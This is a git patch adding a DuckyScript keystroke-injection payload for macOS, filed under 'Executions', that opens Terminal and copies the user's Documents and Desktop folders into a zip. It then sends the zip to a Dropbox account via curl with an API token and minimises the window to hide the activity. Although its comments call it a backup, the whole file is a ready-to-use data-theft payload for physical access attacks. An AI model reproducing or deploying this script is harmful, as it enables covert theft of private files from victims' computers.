From a617251e36ba4da8ecd999aafb5a8040cc400b06 Mon Sep 17 00:00:00 2001 From: Narstybits Date: Wed, 31 May 2023 20:46:51 -0500 Subject: [PATCH] Finally figured out a way to get the dropbox all in one code, will update the other dropboxes soon --- .../Docs and Desktop to Dropbox API.txt | 43 +++++++++++++++++++ 1 file changed, 43 insertions(+) create mode 100644 Executions/Docs and Desktop to Dropbox API.txt diff --git a/Executions/Docs and Desktop to Dropbox API.txt b/Executions/Docs and Desktop to Dropbox API.txt new file mode 100644 index 0000000..8e36019 --- /dev/null +++ b/Executions/Docs and Desktop to Dropbox API.txt @@ -0,0 +1,43 @@ +REM This script will create a folder on the desktop named "backup" +REM it will then copy the Documents and Desktop contents to the folder and create a .zip +REM Once the zip is created it will proceed to send all the contents to your Dropbox +REM you MUST replace "" with your actual API accesss token + + +REM Title: Docs and Desktop to Dropbox API +REM Author: Narsty +REM Target: MacOS +REM Version: 1.0 +REM Category: Execution + +DELAY 500 +GUI SPACE +DELAY 500 +STRING Terminal +DELAY 1000 +ENTER +DELAY 500 +STRING mkdir -p ~/Desktop/Backup/Desktop +ENTER +DELAY 500 +STRING mkdir -p ~/Desktop/Backup/Documents +ENTER +DELAY 500 +STRING cp -R ~/Documents/* ~/Desktop/Backup/Documents/ +ENTER +DELAY 500 +STRING cp -R ~/Desktop/* ~/Desktop/Backup/Desktop/ +ENTER +DELAY 500 +STRING echo 'cd ~/Desktop/Backup && zip -r backup.zip . && curl -X POST https://content.dropboxapi.com/2/files/upload -H "Authorization: Bearer " -H "Dropbox-API-Arg: {\"path\": \"/Backup/backup.zip\",\"mode\": \"add\",\"autorename\": true,\"mute\": false}" -H "Content-Type: application/octet-stream" --data-binary @backup.zip' > upload.sh +ENTER +DELAY 2500 +ENTER +STRING chmod +x upload.sh +ENTER +DELAY 500 +STRING ./upload.sh +ENTER +DELAY 500 +GUI m +